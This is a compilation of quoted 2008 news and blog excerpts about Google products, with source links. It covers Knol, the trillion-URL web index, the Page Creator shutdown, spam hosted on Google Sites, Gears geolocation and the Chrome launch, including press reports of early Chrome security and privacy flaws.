"The search giant today released Knol, a service which encourages any user to write articles as an "expert" on any subject - from fly- fishing to Byzantine architecture or even how to install a sink." "There is no vetting process, although readers can rate articles - as they can rank stories on the "social news" service Digg. Authors can also elect to have advertising on their articles, and share in the revenue from the adverts, which will be placed by Google's ad-serving platform, AdSense."
"Unlike Wikipedia, readers will not be free to edit articles, though the ranking system will mean that those 'knols' which are popular will fare better in searches conducted on the Knol home page. Knol entries will also appear in regular Google searches, but their ranking will be determined in the usual way - according to how many other web pages link to them."
"A source close to Google said the service was not designed to be a Wikipedia-killer. A better way to think of it would be as a platform for pages more like blogs, the source said, but instead of being updated all the time, the entries were a chance for publishers to share their expertise."
"Internet experts said the service was unlikely to compete with Wikipedia - which now contains more than seven million articles in 200 languages - because it would be a platform for opinion, rather than factual content."
"Whereas on Wikipedia, multiple anonymous writers help to create a single entry on dinosaurs, say, on Knol, several "dinosaur experts" could each contribute an entry and vie to create the most popular dinosaur page, entitling them to a greater share of dinosaur-related advertising revenue."
"Knol is, however, likely to attract some users from similar services such as Squidoo, which has the slogan "Everyone's an expert on something" and is visited by six million people a month, and Videojug, a similarly themed service based on video content, which has two million visitors."
http://technology.timesonline.co.uk/tol/news/tech_and_web/article4385793.ece
Google launches Knol - a wiki with bylines
July 23, 2008
"Google opened its website Knol to the public on Wednesday, allowing people to write about their areas of expertise under their bylines in a twist on encyclopaedia Wikipedia, which allows anonymity."
""We are deeply convinced that authorship -- knowing who wrote what -- helps readers trust the content," said Cedric DuPont, product manager for Knol."
"The name of the service is a play on an individual unit of knowledge, DuPont said, and entries on the public website, knol.google.com, are called "knols". Google conducted a limited test of the site beginning in December."
"Knol has publishing tools similar to single blog pages. But unlike blogs, Knol encourages writers to reduce what they know about a topic to a single page that is not chronologically updated."
""What we want to get away from is 'this last voice wins' model which is very difficult if you are a busy professional," DuPont said."
"Google wants to rank entries by popularity to encourage competition. For example, the first knol on "Type 1 Diabetes" is by Anne Peters, director of the University of Southern California's Clinical Diabetes Programs."
"As other writers publish on diabetes, Google plans to rank related pages according to user ratings, reviews and how often people refer to specific pages, DuPont said."
"Knol focuses on individual authors or groups of authors in contrast to Wikipedia's subject entries, which are updated by users and edited behind the scenes."
http://uk.reuters.com/article/internetNews/idUKN2325911820080724
Like Wikipedia but for Cash: Google's Knol
July 23, 2008
"Its new Knol - short for 'a unit of knowledge' - site is similar to Wikipedia in that anyone can write an article on (almost) anything. But where Wikipedia is a collective endeavor where anyone can both write and edit pieces, Knol focuses on preserving ownership of articles."
"That ownership makes for two key differences when comparing Knol with Wikipedia. First, authors can choose 'Moderated collaboration' for their work, which allows them to vet any proposed changes to their article. And second, authors can opt to show Google ads, and thereby share in their revenue."
"If you have a Gmail account, it takes about 30 seconds to start writing a knol. If you do, you can also choose open collaboration, where any signed-in user can edit the knol. And knols won't display revenue-generating ads by default. To get them, you'll need to create an AdSense account or tie in an existing account."
"Google's announcement post says that the company expects "multiple knolls on the same subject, and we think that is good.""
"I'm curious to see where Knol will go, and whether anyone will make any real money from its ads. I disagree with TechCrunch's Jason Kincaid, who writes that the system will draw many posts on huge topics like Barack Obama, but fail to draw articles on less popular topics. It instead encourages the opposite, since a well-written post on an obscure subject would stand out much more than a me-too article on a politician. The authoritative post would stand a better chance of showing up in search results, and thereby drawing ad revenue, for a longer period of time."
We knew the web was big...
July 25, 2008
"We've known it for a long time: the web is big. The first Google index in 1998 already had 26 million pages, and by 2000 the Google index reached the one billion mark. Over the last eight years, we've seen a lot of big numbers about how much content is really out there. Recently, even our search engineers stopped in awe about just how big the web is these days -- when our systems that process links on the web to find new content hit a milestone: 1 trillion (as in 1,000,000,000,000) unique URLs on the web at once!"
"How do we find all those pages? We start at a set of well-connected initial pages and follow each of their links to new pages. Then we follow the links on those new pages to even more pages and so on, until we have a huge list of links. In fact, we found even more than 1 trillion individual links, but not all of them lead to unique web pages. Many pages have multiple URLs with exactly the same content or URLs that are auto-generated copies of each other. Even after removing those exact duplicates, we saw a trillion unique URLs, and the number of individual web pages out there is growing by several billion pages per day."
"So how many unique pages does the web really contain? We don't know; we don't have time to look at them all! :-) Strictly speaking, the number of pages out there is infinite -- for example, web calendars may have a "next day" link, and we could follow that link forever, each time finding a "new" page. We're not doing that, obviously, since there would be little benefit to you. But this example shows that the size of the web really depends on your definition of what's a useful page, and there is no exact answer."
"We don't index every one of those trillion pages -- many of them are similar to each other, or represent auto-generated content similar to the calendar example that isn't very useful to searchers. But we're proud to have the most comprehensive index of any search engine, and our goal always has been to index all the world's data."
"To keep up with this volume of information, our systems have come a long way since the first set of web data Google processed to answer queries. Back then, we did everything in batches: one workstation could compute the PageRank graph on 26 million pages in a couple of hours, and that set of pages would be used as Google's index for a fixed period of time. Today, Google downloads the web continuously, collecting updated page information and re-processing the entire web- link graph several times per day. This graph of one trillion URLs is similar to a map made up of one trillion intersections. So multiple times every day, we do the computational equivalent of fully exploring every intersection of every road in the United States. Except it'd be a map about 50,000 times as big as the U.S., with 50,000 times as many roads and intersections."
"As you can see, our distributed infrastructure allows applications to efficiently traverse a link graph with many trillions of connections, or quickly sort petabytes of data, just to prepare to answer the most important question: your next Google search."
http://googleblog.blogspot.com/2008/07/we-knew-web-was-big.html
Google Slowly Closing Page Creator
August 5, 2008
"As Digital Inspiration noticed, Google on their Page Creator About page says:"
"We are no longer accepting new sign-ups for Page Creator because we have shifted our focus to developing Google Sites, which offers many of the capabilities of Page Creator along with new features like site -level navigation, site-level headers, control over who can see and edit your site, and rich embeddings like calendars, videos, and Google docs."
"Google Page Creator is or was Google’s general web page creation program (Google also offers Knol to create knowledge articles, and Blogger to start a blog; other tools of theirs, like Google Documents, can output a webpage too). In a closed help group thread on the subject, Google states:"
"Page Creator has always been a Google Labs project (Labs is our “technology playground” where we let users test-drive experimental products and give us feedback so we can innovate more quickly). Since launching Page Creator in Labs, we’ve learned a lot and have incorporated those lessons into Google Sites. We think the Labs program, which allows users to try new things before they’re fully baked, lets us innovate faster and ultimately create the best possible products."
"User André Banen, who’s very helpful in the Google help groups, tells me, “Personally I’m not very happy with this decision. Google Page Creator offered me the possibility to enter JavaScript code into web pages and to use iframes to embed content, something that Google Sites currently [won’t] allow.”"
http://blogoscoped.com/archive/2008-08-05-n83.html
Google Page Creator to Be Closed
August 9, 2008
"This year, Google discontinued a lot of services: Browser Sync, Hello, Send to SMS and Send to Phone extension. Another Google Labs experiment is about to be discontinued: Page Creator, a simple way to create web pages without knowing HTML. Google Page Creator's rich text editor is now included in many other Google services, but Google decided to focus on the more powerful Google Sites."
"It's not clear if Google will also move the files uploaded to Page Creator, so you can continue to use them. "For migrated sites we will automatically redirect your googlepages.com URL to the appropriate sites.google.com URL to ensure your visitors aren't lost due to the transition. In addition, we will be providing a means for you to download your site so that you can easily export it to other services if you choose to do so," explains Google."
http://googlesystem.blogspot.com/2008/08/google-page-creator-to-be-closed.html
Announcement
August 4, 2008
"We are no longer accepting new sign-ups for Page Creator because we have shifted our focus to developing Google Sites. Google Sites offers many of the capabilities of Page Creator along with new features like site-level navigation, site-level headers, control over who can see and edit your site, and rich embeddings like calendars, videos, and Google docs. Simply put, we think that Google Sites offers a better experience for creating web pages and websites. Consequently, we will be shutting down Page Creator later this year."
"If you are currently a Page Creator user, you can continue to use Page Creator and your pages will automatically be transitioned to Google Sites later this year. We are committed to making this transition as smooth and easy as possible, and we will post more details as we get closer to the transition time. You can also manually move your web pages from Page Creator to Google Sites or other service providers at any time."
"Page Creator has always been a Google Labs project (Labs is our "technology playground" where we let users test-drive experimental products and give us feedback so we can innovate more quickly). Since launching Page Creator in Labs, we've learned a lot and have incorporated those lessons into Google Sites. We think the Labs program, which allows users to try new things before they're fully baked, lets us innovate faster and ultimately create the best possible products."
http://groups.google.com/group/GPC-How-to/msg/1260f67111144902
About Google Page Creator
"We are no longer accepting new sign-ups for Page Creator because we have shifted our focus to developing Google Sites, which offers many of the capabilities of Page Creator along with new features like site -level navigation, site-level headers, control over who can see and edit your site, and rich embeddings like calendars, videos, and Google docs."
"If you are currently a Page Creator user, you can continue to use Page Creator and your pages will automatically be transitioned to Google Sites later this year. We are committed to making this transition as smooth and easy as possible, and we will post more details as we get closer to the transition time. You can also manually move your web pages from Page Creator to Google Sites or other service providers at any time."
http://pages.google.com/-/about.html
Spammers using Google Sites to bypass filters
August 5, 2008
"Spammers have added Google Sites to the arsenal of online tools used to get around junk-email filters, according to a study published on Tuesday by messaging security firm MessageLabs."
"Spammers had already been making use of Google Docs, Google Page Creator and Google Calendar as spam-hosting facilities, but Google Sites is a recent addition, according to the MessageLabs Intelligence Report for July 2008. Junk emailers are using the tool to automatically create web pages with names composed of a string of random numbers and letters, resulting in an address that is more difficult for signature-based anti-spam tools to block, MessageLabs said."
"The Google Sites abuse indicates that spammers are becoming more advanced at getting around the Captcha (Completely Automated Public Turing test to tell Computers and Humans Apart) mechanisms used to defend against the automated sign-up tools frequently used by junk emailers, said MessageLabs' chief security analyst, Mark Sunner."
""While Google Sites spam accounts for only one percent of all spam currently, we anticipate that this technique's popularity will rival that of its predecessors: Google Docs, Calendar and [Page Creator] spam," Sunner said in a statement."
http://news.zdnet.co.uk/security/0,1000000189,39457158,00.htm
MessageLabs Intelligence July 2008: Spammers Use Google Sites to Host Spam
August 5, 2008
"MessageLabs, the leading provider of messaging and web security services to businesses worldwide, today announced the results of its MessageLabs Intelligence Report for July 2008. Analysis highlights that spammers continued the trend of abusing Google's hosted applications to host spam. Previously abused applications include Google Docs, Google Pages and Google Calendar. Google Sites allows a novice to easily create a web page composed of a string of random letters and numbers resulting in a URL that is more difficult to block using traditional signature-based anti-spam tools."
""Google Sites is yet another way that spammers have programmatically defeated CAPTCHA (Completely Automated Public Turing Test to Tell Computers and Humans Apart) mechanisms, a validation technique that is designed to defend against automated sign-up tools frequently used by spammers by requiring the user to enter a string of letters," said Mark Sunner, Chief Security Analyst, MessageLabs. "While Google Sites spam accounts for only 1 percent of all spam currently, we anticipate that this technique's popularity will rival that of its predecessors, Google Docs, Calendar and Pages spam. If this is the case, then we may see spam levels increase in the months ahead.""
"Also in July, the number of new malicious websites blocked each day has increased by 91 percent from 2,076 since June to an average of 3,968 new sites intercepted daily. This month's rise in web threats, according to MessageLabs, is due to the number of websites linked to SQL injection attacks. This latest increase in malicious websites brings the threat to record high levels."
http://business.itbusinessnet.com/articles/viewarticle.jsp?id=474031
Google Sites sending spam as CAPTCHA gets pwned
August 5, 2008
"According to the latest MessageLabs Intelligence Report, the Google Sites CAPTCHA spambot defences have been compromised by spammers..."
"The MessageLabs Intelligence Report for July 2008 reveals that spammers are looking towards Google Sites to spread their wares. This follows on from previous spam attacks directed at Google Docs, Google Pages and Google Calendar."
"Researchers look at it as being just the latest in a continuing trend that targets Google's hosted applications in order to exploit the brand trust to distribute spam and malware. There are two reasons why Google Sites has been targeted, they say:"
"Firstly, it allows the novice to create a web page that comprises entirely of a string of random letters and numbers with relative ease. This results in a URL that is far more difficult to block than most when using bog-standard signature-based anti-spam tools."
"Secondly, and a lot more worryingly so, is the indication that the 'Completely Automated Public Turing Test to Tell Computers and Humans Apart' or CAPTCHA entry validation system has been pwned."
http://www.itwire.com/content/view/19860/53/
Google: 2008 Summer Games (USA)
http://www.google.com/landing/summergames2008/index.html
Google: 2008 Summer Games (China)
http://www.google.cn/landing/summergames2008/index.html
Google News: Olympics category
http://news.google.com/news?topic=o
YouTube: Summer Games
http://www.youtube.com/ytsummergames
Google Maps: Summer Games 2008
http://maps.google.com/help/maps/2008summergames/
iGoogle Gadget: 2008 Summer Games
http://www.google.com/ig/adde?moduleurl=www.google.com/ig/modules/olympics.xml
Google Desktop gadget: 2008 Summer Games
http://desktop.google.com/plugins/i/googlesummergames.html
Googe Mobile: Summer Games 2008
http://www.google.com/m/messageboard?mb=08bj
Google 3D Warehouse: 2008 Summer Games (SketchUp and Google Earth models)
http://sketchup.google.com/3dwarehouse/cldetails?mid=efe83785f1aaaae0ae682533f3f1d4dd&ct=hpr2
http://www.youtube.com/watch?v=0p2cEQCsBuY
iGoogle China (shows Olympics theme and gadget)
Google China SMS Alerts
http://www.google.com/sms/alerts
Sources:
http://googleblog.blogspot.com/2008/08/keeping-up-with-summer-games.html
http://google-latlong.blogspot.com/2008/08/off-to-games.html
http://blogoscoped.com/archive/2008-08-08-n56.html
Google Search Insights
"With Google Insights for Search, you can compare search volume patterns across specific regions, categories, and time frames."
http://www.google.com/insights/search
Google Search Insights Help Center
http://www.google.com/support/insights/
How does Google Insights for Search work?
"Google Insights for Search analyzes a portion of worldwide Google web searches from all Google domains to compute how many searches have been done for the terms you've entered, relative to the total number of searches done on Google over time. We then show you a graph with the results, indicating interest over time, plotted on a scale from 0 to 100; the totals are indicated next to bars by the search terms."
http://www.google.com/support/insights/bin/answer.py?answer=87276&topic=13973
How can I use Google Insights for Search?
"The examples below showcase some different ways of using Google Insights for Search. Whether you’re an advertising agency, a small business owner, a multinational corporation, or an academic researcher, Insights for Search can help you gauge interest in pertinent search terms."
Choosing advertising messages
"Insights can help you determine which messages resonate best. For example, an automobile manufacturer may be unsure of whether it should highlight fuel efficiency, safety, or engine performance to market a new car model."
Examining seasonality
"Insights can be used to determine seasonality. For example, a ski resort may want to find out when people search for ski-related terms most often."
Creating brand associations
"Insights can be a helpful tool in creating brand associations. Take, for example, an advertising agency that needs to build a compelling advertising campaign for its client, a computer hardware company. The agency needs to know what competing brands are doing: how should they position their client's product against them?"
"When comparing laptops or notebook, it's useful to apply the Category filter, whereby the data will be narrowed down to just Computers & Electronics."
Entering new markets
"Insights can be useful in determining a new market. A wine distributor may be looking to expand into new markets. By entering in wine + vino, and comparing the data across multiple countries, such as Argentina, Mexico, Spain, and Venezuela, the distributor can get a sense of where interest is more prevalent."
http://www.google.com/support/insights/bin/answer.py?answer=96693&topic=13973
Why isn't data available for every search term?
"Insights for Search analyzes a portion of Google searches. It's possible that rare or uncommon searches, or ones that pertain to a very narrow time range or region may not have enough search volume to be presented. Keep in mind that Insights only shows results for searches that have a significant amount of volume, and enforces minimum thresholds for inclusion in the tool."
http://www.google.com/support/insights/bin/answer.py?answer=98987&topic=15218
Error Message: Not enough search volume to show results.
"You'll see this message when you've entered a search term that doesn't have enough search volume. Remember, Insights for Search only returns data for terms that have a significant amount of search volume."
http://www.google.com/support/insights/bin/answer.py?answer=99568&topic=15217
Google Insights for Search forum
"Welcome to the Google Insights for Search discussion forum! In this community, you can search or browse for answers, ask questions, and assist others. We also encourage you to share best practices and ideas about using Insights to build or improve your marketing campaigns."
http://groups.google.com/group/google-insights-for-search
New Gears Geolocation API powers mobile web sites
August 22, 2008
"Imagine if web sites could provide you with customized information based on your current location, even if you don't have GPS. Today we're launching the Gears Geolocation API for mobile and desktop browsers, while two third-party developers are launching the first location-enabled web apps using this API on Windows Mobile."
"The API can determine your location using nearby cell-towers or GPS for your mobile device or your computer's IP address for your laptop. Google provides this service for free to both developers and users."
http://googlemobile.blogspot.com/2008/08/new-gears-geolocation-api-powers-mobile.html
Two new ways to location-enable your web apps
August 21, 2008
"We just launched two new ways to give your web apps free and secure access to a user's location, without requiring that user to enter it manually."
"First, there's the AJAX API property that provides a simple way to get an approximate, region-level estimate of a user's location based on their IP address. It's as simple as referencing google.loader.ClientLocation, which is made available using the Google AJAX API Loader. This API does not require users to install any client-side software. You can see this new AJAX API in action as part of the 2008 US Election gadget -- the "News by State" will show local news for the state associated with the user's IP."
"Second, the Gears Geolocation API provides a way to get a more precise estimate of a user's location. On mobile devices with Gears installed, the Geolocation API can use the cell-ID of nearby cell towers or on-board GPS (if either is available) to improve the postion fix. In the near future, we'll be adding data from your WiFi connection to improve accuracy even further, on both desktop and mobile. In all cases, Gears takes care of assimilating the results from each source and returning the best available position estimate."
"To use the Geolocation API your users may need to install the Gears browser plugin, a simple process on both desktop and mobile. The Geolocation API is available on platforms currently supported by Gears, including Internet Explorer, Firefox and IE Mobile (selected devices only). For users to be able to use location-enabled features on mobile they will need a Windows Mobile device that supports GPS or cell-ID lookup (for example the Samsung BlackJack II and the HTC Touch Dual, see list of supported device models in our FAQ)."
http://google-code-updates.blogspot.com/2008/08/two-new-ways-to-location-enable-your.html
Google Geolocation API
"The Geolocation API enables a web application to obtain a user's geographical position."
http://code.google.com/apis/gears/api_geolocation.html
"google.loader.ClientLocation"
"When an application makes used of the AJAX API loader, the loader attempts to geo locate the client based on it's IP address. If this process succeeds, the client's location, scoped to the metro level, is made available in the google.loader.ClientLocation property. If the process fails to find a match, this property is set to null."
http://code.google.com/apis/ajax/documentation/#ClientLocation
Google Gears
Google AJAX APIs
http://code.google.com/apis/ajax/
Explore Google Search
"Search is at the heart of everything we do at Google. Our engineers work every day to solve the hardest search problems, and thus improve your online experience. Here's a glimpse at what they do, the features they've built and the remarkable user stories that inspire our work."
http://www.google.com/landing/searchtips/
Google Friends Newsletter - June 2009
"Our new "Explore Google Search" site collects together 15-second videos giving you tips on the main features of Google Search, stories from Google engineers, and user testimonials. If you discover something you didn't know you could do on Google, be sure to share it with your friends and family. The site is available in the U.S., U.K., Ireland, Australia, New Zealand and India."
http://groups.google.com/group/google-friends/msg/b94c7d18027c3231
Google Chrome
"Google Chrome is a browser that combines a minimal design with sophisticated technology to make the web faster, safer, and easier."
Google Chrome Help Center
http://www.google.com/support/chrome/
Google Chrome Forum
http://groups.google.com/group/google-chrome-help
Google Chrome Getting Started Guide
"Google Chrome is an open-source web browser built to support web applications and search with speed and stability. It's currently available for Windows XP with Service Pack 2 or later and Windows Vista. Mac and Linux versions are being developed, so stay tuned."
http://www.google.com/support/chrome/bin/topic.py?topic=14658
Google Chrome Features
http://www.google.com/chrome/intl/en/features.html
Google Chrome Known Issues
http://www.google.com/support/chrome/bin/request.py?contact_type=known_issues_2
Google Code: Chromium
"Join us in an open-source browser project to help move the web forward"
"Chromium is the open-source project behind Google Chrome. We're releasing a first look at Chromium and invite you to join us in our effort to:"
"• Help build a safer, faster, and more stable way for all Internet users to experience the web"
"• Create a powerful platform for developing a new generation of web applications"
"Built for the open web"
"All of the code in the project is open source, including V8, a new JavaScript virtual machine. You can get Chromium's source code and contribute to the project."
http://code.google.com/chromium/
Chromium Developer Documentation
"Chromium is an open-source browser project that aims to build a safer, faster, and more stable way for all Internet users to experience the web. This site contains design documents, architecture overviews, testing information, and more to help you learn to build and work with the Chromium source code."
Chromium Forums
http://dev.chromium.org/developers/discussion-groups
The Chromium Blog
Welcome to Chromium
September 2, 2008
"Today, Google launched a new web browser called Google Chrome. At the same time, we are releasing all of the code as open source under a permissive BSD license. The open source project is called Chromium - after the metal used to make chrome."
"Why did Google release the source code?"
"Primarily it's because one of the fundamental goals of the Chromium project is to help drive the web forward. Open source projects like Firefox and WebKit have led the way in defining the next generation of web technologies and standards, and we felt the best way we could help was to follow suit, and be as open as we could. To be clear, improving the web in this way also has some clear benefits for us as a company. With a richer set of APIs we can build more interesting apps allowing people to do more online. The more people do online, the more they can use our services. At any rate, we have worked on this project by ourselves for long enough - it's time for us to engage with the wider web community so that we can move on to the next set of challenges."
http://blog.chromium.org/2008/09/welcome-to-chromium_02.html
Google Chrome now live
September 2, 2008
"In yesterday's post on Google Chrome, we promised to let you know when it would be available for everyone to try -- and that time is now. Visit http://www.google.com/chrome to download and start exploring. (For the moment, it's available only for Windows users, but you can sign up on the download page to learn when the Mac and Linux versions are available.)"
http://googleblog.blogspot.com/2008/09/google-chrome-now-live.html
Google Chrome Security Risks Already Announced
September 3, 2008
"Barely a day after Google's new browser was released, Chrome is showing some scratches: researchers have pointed out known security vulnerabilities that can put users at risk of malicious exploits."
"The Chrome security flaws identified this afternoon include known WebKit (the open source engine the browser is constructed around) vulnerabilities that, combined with a Java bug, can result in downloads of executable malicious files."
"Other security researchers note there are ways to crash Chrome via malicious links, possibly without user input."
"Early days for Chrome yet, and very early for the risk assessments and vulnerability audits to be anywhere near complete: we'll all be hearing plenty more about these -- and, one hopes, patches and fixes for them -- in the next few days."
"For now it's worth reminding yourself and your employees that Chrome is still in beta, a work in progress that, for all of its promise, and especially all of its buzz, should be used carefully (if at all) in the small and midsize business workplace."
"Your call of course, but it's a call you should make, one way or another, before those tech-happy members of your non-IT staff get too many copies of Chrome, with its now-known vulnerabilities, running on too many of your company's systems."
http://www.bmighty.com/blog/main/archives/2008/09/chrome_security.html
Google's Chrome Browser Not Yet Secure
September 3, 2008
"Google's Chrome browser is only a day old, but security researchers already have found vulnerabilities that can be exploited."
"According to a report published by ZDNet, security researcher Aviv Raff has found that he can combine a flaw in the open source WebKit engine with a Java bug to dupe Chrome users into downloading executable files."
"Apple, which uses WebKit in its Safari browser, fixed this flaw with its Safari 3.1.2 browser patch. Chrome uses an older version of WebKit that has not been repaired."
"Another security researcher, Rishi Narang, claimed to have found a way to crash Chrome with a malicious link."
""An issue exists in how chrome behaves with undefined-handlers in chrome.dll version 0.2.149.27," Narang explained on the Evil Fingers Web site. "A crash can result without user interaction. When a user is made to visit a malicious link, which has an undefined handler followed by a 'special' character, the Chrome crashes with a Google Chrome message window 'Whoa! Google Chrome has crashed. Restart now?'""
"And someone identified as "Nerex" has posted proof-of-concept JavaScript code on Milw0rm.com that supposedly "allows files (e.g., executables) to be automatically downloaded to the user's computer without any user prompt.""
"This exploit appears to be similar to the one identified by Raff."
"In theory, Google Chrome should be more secure than other browsers because, rather than being a single-threaded application, each tab is handled by its own sandboxed process with its own memory space. Like a multiengine plane, Chrome is designed not to crash following the loss of a single engine."
""[Chrome] utilizes technology that has historically been associated with operating systems to create isolation between different browser tabs with the aim of improved crash-resistance and security," IDC analyst Al Hilwa said in a research note. "The security capabilities also ensue from a new sandbox model that strengthens what is typically available today from other browsers.""
"But Chrome is beta software and remains a work in progress."
"Hilwa observes that while Google's security architecture isolates the browser's kernel from attacks on rendering-engine vulnerabilities, it doesn't extend this same protection to plug-ins like Java, Flash, and Silverlight."
"Mozilla software engineer Robert O'Callahan in a blog post said that while Chrome looks promising, Google's coders still have challenges to overcome. "There are some interesting architectural problems they haven't solved yet, especially with the process separation model, especially with regard to windowless plugins, and also Mac," he said. "These are problems that will be encountered by anyone doing process separation so it will be interesting to see how that goes.""
Google Chrome vulnerable to carpet-bombing flaw
September 2, 2008
"Google’s shiny new Web browser is vulnerable to a carpet-bombing vulnerability that could expose Windows users to malicious hacker attacks."
"Just hours after the release of Google Chrome, researcher Aviv Raff discovered that he could combine two vulnerabilities — a flaw in Apple Safari (WebKit) and a Java bug discussed at this year’s Black Hat conference — to trick users into launching executables direct from the new browser."
"Raff has cooked up a harmless demo of the attack in action, showing how a Google Chrome users can be lured into downloading and launching a JAR (Java Archive) file that gets executed without warning."
"In the proof-of-concept, Raff’s code shows how a malicious hacker can use a clever social engineering lure — it requires two mouse clicks — to plant malware on Windows desktops."
"The Google Chrome user-agent shows that Chrome is actually WebKit 525.13 (Safari 3.1), which is an outdated/vulnerable version of that browser."
"Apple patched the carpet-bombing issue with Safari v3.1.2."
"Some Google Chrome early adopters using Windows Vista are reporting that files downloaded from the Internet are automatically dropped on the desktop, setting up a scenario where a combo-attack using this unpatched IE flaw could be used in attacks."
http://blogs.zdnet.com/security/?p=1843
Google Mule
September 3, 2008
"In real life, when you take two species, a horse and a donkey, and mix them up you get a mule. In the browsers world, when you take a horse (Firefox/IE) and a donkey (Safari) and mix them up, you get – Google Chrome."
"The new browser from Google tries to get the best from other browsers, but instead (well, at least in the current beta version), it seems to be doing quite the opposite."
"The current beta uses an old version of WebKit - 525.13 - which is actually the same WebKit engine used by the old Safari v3.1. The current Safari version is v3.1.2, which fixed several critical issues, including the “blended threat” Carpet Bombing vulnerability. Google even mention that they use Safari v3.1 rendering engine in their own documentation (Thanks Yonatan Grabber for the information!)"
"On the other hand, Chrome borrowed (and modified) local resource files from the Mozilla project. And also, for some reason, in some cases there is an ActiveX plug-in loaded by Chrome, which might be an evidence of a capability of this browser to execute ActiveX controls."
"I really wonder why Google have taken several features from other browsers and mixed them all together. Security wise, it’s very problematic."
"They’ll have to track all security vulnerabilities in those features, and fix them in Chrome too. This will probably be only after those vulnerabilities were fixed by the other vendors or were publicly reported. It will put Chrome users at risk for a long time."
"Back to the WebKit issue. I’ve created a proof-of-concept which demonstrates the automatic download vulnerability that was already fixed by Apple. This PoC will automatically download a JAR file and place it in the the downloads folder (there are reports that in some cases it will download it to the Desktop, as in Safari. In those cases, the Safari-Pwns-IE exploit can be easily converted to Chrome- Pwns-IE exploit)."
"Unfortunately, whenever Google Chrome downloads a file, it creates a download bar at the bottom of the page, which seems, for the untrained eye, as part of the page. The downloaded filename is displayed as a button, and the one click on this button will execute the file. If the file is an executable (e.g. .EXE, .BAT, etc.), Windows Explorer will show a warning that this file was downloaded from the Internet. In this case, Google Chrome does a good job by setting the Zone.Identifier in the alternative data stream."
"However, as was mentioned by pdp at his great Black Hat talk this August, when Windows Explorer will try to execute a JAR file, it will automatically run the associated application, which in most cases is the JRE (Java Runtime Environment). JRE will not check the Zone.Identifier in the alternative data stream, and will execute the JAR file with no warning. JAR file, of-course, should be treated as any other executable file. This is again a sort of a "blended threat". Two small issues in different products, when blended together create a much larger problem."
"In conclusion, Chrome seems to be a very nice and slick browser, but it is far from being secured as it is advertised by Google. It borrows several insecure features from other browsers, and it has its own security design flaws."
http://aviv.raffon.net/2008/09/03/GoogleMule.aspx
Chrome
September 3, 2008
"A few people I know have asked me what I think about Google's Chrome browser."
"Technically, it looks good on paper. There are some interesting architectural problems they haven't solved yet, especially with the process separation model, especially with regard to windowless plugins, and also Mac. These are problems that will be encountered by anyone doing process separation so it will be interesting to see how that goes. V8 seems overhyped when you take into account the JS work being done by other browser vendors."
"I'm not sure how the competitive landscape is going to play out. Mozilla's in a strong position now and the immediate future looks great. We just need to stay focused, keep making smart decisions, and keep shipping great software."
"Overall, I'm actually really excited. No matter who gains and who loses, there's no doubt that this innovation and investment and energy is great for the Web (especially when it's delivered in free software)."
http://weblogs.mozillazine.org/roc/archives/2008/09/chrome.html
Google Chrome privacy issues, and user tips
September 4, 2008
"TH Daily has an interesting story, Chrome is a security nightmare. It turns out that Chrome indexes and stores your bank account and other personal financial information even on secure (https://) pages, though whether it's actually a "security nightmare" is another issue."
"Do the stuff you would normally do like look at your balances and gawk at your latest transactions and then open up a new tab in Chrome by clicking the "+" symbol. In the right-hand history search box, enter a few keywords and see what they get you. Surprised? I bet you are."
"The history search feature means you can find all your financial, medical and other secrets from the browser without going anywhere near the secure site. Or someone else can. If you have a PC where someone else can access it -- for example, in almost any office -- then it's a recipe for disaster. Since you'll never remember to always use the "porn mode" (InCognito), then the best answer may be to stay well away from anything password protected and personal."
"The Electronic Frontier Foundation has a different concern. It says, according to CNet's headline, We're concerned about Google's Omnibox. There's a privacy issue because anything you type in gets sent back to the Google mothership, and it's storing some of it. The ways to avoid that include (1) turn off auto-suggest; or (2) use a default search engine that isn't Google; or (3) use porn mode. Any one will do."
"Still, EFF staff technologist Peter Eckersley says: "We are genuinely really worried about the Omnibox thing. It's just one more piece of the complete puzzle of Google seeing everything that everyone is doing.""
"Simon Davies, Founder of Privacy International and a senior fellow with the Electronic Privacy Information Center (EPIC) also expressed concern over the Omnibox feature."
""I'm astonished that these terms are sent to Google even without the return being hit," Davies said. "That is beyond anything that Google has ever contemplated before.""
"Hmm, well, if Google has already stored every search you've made there, and it has all your email, and your calendar, and your docs, and your photos, and it knows where you are going and when and why, it may be a bit late to complain about things like that....."
"Runs faster, crashes faster: Sorry, I forgot to include the (mercifully short) story of the day: you can crash Chrome by typing :% in the address bar. I expect someone will figure out how to crash it remotely, if they haven't already done so...."
http://blogs.guardian.co.uk/technology/2008/09/04/google_chrome_privacy_issues_and_user_tips.html
Chrome is a security nightmare, indexes your bank accounts
September 4, 2008
"Can a browser’s search function work too well? After playing around with Google’s brand new Chrome browser, we’ve discovered that its history search box will fetch all types of data - even text from HTTPS-protected financial sites like Washington Mutual and Capital One. With a few utterly simple keywords like balance, account and Sept., everything from balance information, account numbers and even how much you spent at Costco can be pulled up."
"To see all of this in action, just open up Chrome and log in to your favorite financial website. Like most important sites, it should be protected with HTTPS/SSL encryption and that should be evident in the address bar of the browser. Do the stuff you would normally do like look at your balances and gawk at your latest transactions and then open up a new tab in Chrome by clicking the “+” symbol. In the right -hand history search box, enter a few keywords and see what they get you. Surprised? I bet you are. No luck? Then try something simple like oh Visa, Mastercard, balance and account. Also try out the names and abbreviations of months like September, Sept and Sep."
"If you’re like me, you probably saw account balances and some transaction details, but if you further refine your keywords you’d be able to see a lot more. We first discovered this “problem” by browsing the forensicfocus.com forums. “Problem” is in quotes because we’re not sure if this is a true vulnerability or Google Chrome’s search function working as intended – in this case, just too damn good. While playing around with the forensic implications of Chrome, “Jelle” on the forums posted that he and his partner noticed the browser was indexing information from HTTPS sites."
"“One interesting finding is that in the regular browsing mode, Chrome creates a search index of the contents of a lot of the pages you visit. This allows you to do keyword searching in your own web history. On some of our tests, we found that content of https pages had been indexed as well, allowing us to retrieve our bank account details using a keyword search,” Jelle posted."
"Is there a way to protect your financial information from being indexed? Google Chrome does have an incognito mode that promises to not cache anything. This can be accessed from the file menu in the upper-right corner of the window or by using the keyboard shortcut (Control Shift N). You can also clear your browser data after surfing to a financial website by going to the tools menu that’s also in the upper-right corner."
"It was just yesterday that I wrote about Chrome’s security as being “not bad”, but I personally don’t get a warm and fuzzy feeling if Chrome is indexing all of my financial information. Search and indexing is what Google is good at and the company has made my life a whole lot easier in many ways, but indexing financial info is crossing the line."
"On the programming level, I can’t really blame Google’s developers though because HTTPS was never meant to provide any protection anyways on the desktop itself. The protection was developed to protect traffic as it travelled through the “Wild West” Internet. But while this distinction is clear to most of our readers – the regular person probably believes HTTPS/SSL traffic is and should be protected on the desktop."
